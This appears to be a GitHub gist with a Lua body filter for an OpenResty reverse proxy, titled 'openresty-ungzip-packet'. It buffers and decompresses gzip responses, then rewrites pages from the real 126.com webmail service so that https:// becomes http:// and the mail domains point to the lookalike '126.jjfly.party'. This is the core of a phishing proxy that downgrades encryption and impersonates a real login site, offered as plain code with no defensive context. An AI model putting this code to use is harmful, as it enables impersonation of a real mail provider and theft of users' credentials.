Last active
April 15, 2021 03:12
-
-
Save phith0n/4cd05857165cb2dc34db to your computer and use it in GitHub Desktop.
openresty-ungzip-packet
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
local zlib = require "zlib" | |
function decode(str) | |
if unexpected_condition then error() end | |
local stream = zlib.inflate() | |
local ret = stream(str) | |
return ret | |
end | |
function callback() | |
local str = ngx.arg[1] | |
str = string.gsub(str, "https://", "http://") | |
str = string.gsub(str, "mail.126.com", "126.jjfly.party") | |
str = string.gsub(str, '"126.com"', '"126.jjfly.party"') | |
str = string.gsub(str, "'126.com'", "'126.jjfly.party'") | |
ngx.arg[1] = str | |
end | |
function writefile(filename, info) | |
local file = io.open(filename,"ab") | |
file:write(info) | |
file:close() | |
end | |
function readfile(filename) | |
local file = io.open(filename, "rb") | |
local data = file:read("*all") | |
file:close() | |
return data | |
end | |
local token = getClientIp()..ngx.var.uri | |
local tmpfile = ngx.shared.tmpfile | |
local value, flags = tmpfile:get(token) | |
if not value then | |
value = "/tmp/"..randstr(8) | |
tmpfile:set(token, value) | |
end | |
if ngx.arg[1] ~= '' then | |
writefile(value, ngx.arg[1]) | |
end | |
if ngx.arg[2] then | |
local body = readfile(value) | |
local status, debody = pcall(decode, body) | |
if status then | |
ngx.arg[1] = debody | |
end | |
os.remove(value) | |
callback() | |
return | |
else | |
ngx.arg[1] = nil | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment